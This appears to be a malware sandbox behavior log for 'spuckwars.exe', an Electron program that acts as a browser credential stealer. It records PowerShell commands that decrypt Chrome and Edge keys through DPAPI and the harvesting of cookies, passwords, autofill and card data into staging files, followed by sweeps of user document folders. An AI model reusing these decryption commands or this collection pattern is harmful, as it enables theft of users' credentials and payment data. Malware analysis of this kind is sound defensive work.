Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'currentuser')"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'currentuser')
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'currentuser')"
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'currentuser')
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "c:\users\user\appdata\local\temp\2ejji115jyjwoncmec4t6jnhr8o\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\spuckwars" --mojo-platform-channel-handle=2388 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "c:\users\user\appdata\local\temp\2ejji115jyjwoncmec4t6jnhr8o\spuckwars.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="c:\users\user\appdata\roaming\spuckwars" --gpu-preferences=uaaaaaaaaadoaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaacqaaaaaaaaaaaaaaaaaaaaaaaaaegaaaaaaaaasaaaaaaaaaayaaaaagaaabaaaaaaaaaagaaaaaaaaaaqaaaaaaaaaaaaaaaoaaaaeaaaaaaaaaabaaaadgaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=2492 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "c:\users\user\appdata\local\temp\2ejji115jyjwoncmec4t6jnhr8o\spuckwars.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\spuckwars" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaaegaaaaaaaaasaaaaaaaaaayaaaaagaaabaaaaaaaaaagaaaaaaaaaaqaaaaaaaaaaaaaaaoaaaaeaaaaaaaaaabaaaadgaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1628 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "c:\users\user\appdata\local\temp\2ejji115jyjwoncmec4t6jnhr8o\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\spuckwars" --mojo-platform-channel-handle=2052 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'currentuser')"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /d /s /c "powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'currentuser')"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "c:\users\user\appdata\local\temp\2ejji115jyjwoncmec4t6jnhr8o\spuckwars.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\spuckwars" --mojo-platform-channel-handle=2388 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeProcess created: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exe "c:\users\user\appdata\local\temp\2ejji115jyjwoncmec4t6jnhr8o\spuckwars.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="c:\users\user\appdata\roaming\spuckwars" --gpu-preferences=uaaaaaaaaadoaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaacqaaaaaaaaaaaaaaaaaaaaaaaaaegaaaaaaaaasaaaaaaaaaayaaaaagaaabaaaaaaaaaagaaaaaaaaaaqaaaaaaaaaaaaaaaoaaaaeaaaaaaaaaabaaaadgaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=2492 --field-trial-handle=1784,i,14736048943842501929,3890017246348461795,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,28,0,0,0,71,0,111,0,111,0,103,0,108,0,101,0,32,0,67,0,104,0,114,0,111,0,109,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,36,243,112,255,236,176,19,21,161,232,5,156,15,224,214,169,185,79,161,35,240,200,160,226,160,19,168,214,186,239,155,235,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,225,241,231,195,97,47,248,22,206,161,226,92,44,44,51,207,166,8,46,136,147,185,84,185,27,183,252,114,164,252,148,168,48,0,0,0,2,140,235,235,139,99,133,55,160,143,64,53,168,135,193,81,10,81,94,101,239,145,72,8,97,176,119,236,164,201,155,27,236,184,11,80,145,31,10,79,199,92,71,166,116,84,131,150,64,0,0,0,33,136,240,246,163,86,84,202,92,12,170,239,80,17,93,81,235,159,209,41,5,212,210,23,106,50,31,57,94,244,205,86,198,111,237,171,160,240,77,231,4,197,113,175,235,153,59,29,176,183,188,244,160,186,186,93,146,97,116,126,129,24,71,225), $null, 'currentuser')Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe add-type -assemblyname system.security; [system.security.cryptography.protecteddata]::unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,82,140,181,59,205,133,36,68,131,195,71,114,10,9,65,24,16,0,0,0,30,0,0,0,77,0,105,0,99,0,114,0,111,0,115,0,111,0,102,0,116,0,32,0,69,0,100,0,103,0,101,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,73,231,212,88,131,180,108,13,7,151,85,6,156,66,67,185,57,141,176,137,39,153,232,122,3,148,29,97,139,226,146,101,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,25,208,58,196,147,38,229,71,17,84,57,121,51,122,21,191,192,210,223,56,196,102,132,177,163,7,170,237,170,96,43,123,48,0,0,0,22,214,107,180,137,106,64,43,246,209,3,97,183,60,179,87,35,178,252,209,63,28,6,231,92,233,101,110,37,191,114,95,102,37,85,25,129,162,60,71,136,36,115,191,138,222,1,225,64,0,0,0,221,128,244,169,226,245,40,30,145,232,4,127,240,108,165,92,23,225,199,246,49,201,112,97,127,7,108,202,49,141,230,234,32,54,72,203,159,33,237,81,195,247,232,115,207,194,239,99,114,230,169,121,178,134,199,77,110,131,115,20,107,231,17,6), $null, 'currentuser')Jump to behavior
Source: spuckwars.exe, 00000006.00000000.2483211234.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000C.00000000.2519298063.00007FF6E8D42000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: ..\..\electron\shell\browser\ui\views\electron_views_delegate_win.ccGetAppbarAutohideEdgesShell_TrayWnd
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeRegistry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\resources VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\resources\app.asar VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ILURIASTEALER VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ILURIASTEALER\cookies.zip VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\ILURIASTEALER\cookies.zip VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Passwords.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Passwords.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Autofills.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Autofills.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Cards.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\Cards.txt VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\BJZFPPWAPT.pdf VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\BJZFPPWAPT.pdf VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\NVWZAPQSQL.xlsx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Downloads\NVWZAPQSQL.xlsx VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\BNAGMGSPLO VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\BNAGMGSPLO VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\BNAGMGSPLO.pdf VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\CZQKSDDMWR VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\CZQKSDDMWR VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\desktop.ini VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\desktop.ini VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\EIVQSAOTAQ VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\EIVQSAOTAQ VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\EOWRVPQCCS.jpg VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\EOWRVPQCCS.mp3 VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\EOWRVPQCCS.mp3 VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\EWZCVGNOWT.png VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\EWZCVGNOWT.png VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\GIGIYTFFYT VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\GIGIYTFFYT VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\GRXZDKKVDB VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\GRXZDKKVDB.jpg VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Documents\GRXZDKKVDB.jpg VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Music VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2ejji115JyJwonCMeC4t6jNhr8O\spuckwars.exeQueries volume information: C:\Users\user\Desktop\BJZFPPWAPT.pdf VolumeInformationJump to behavior
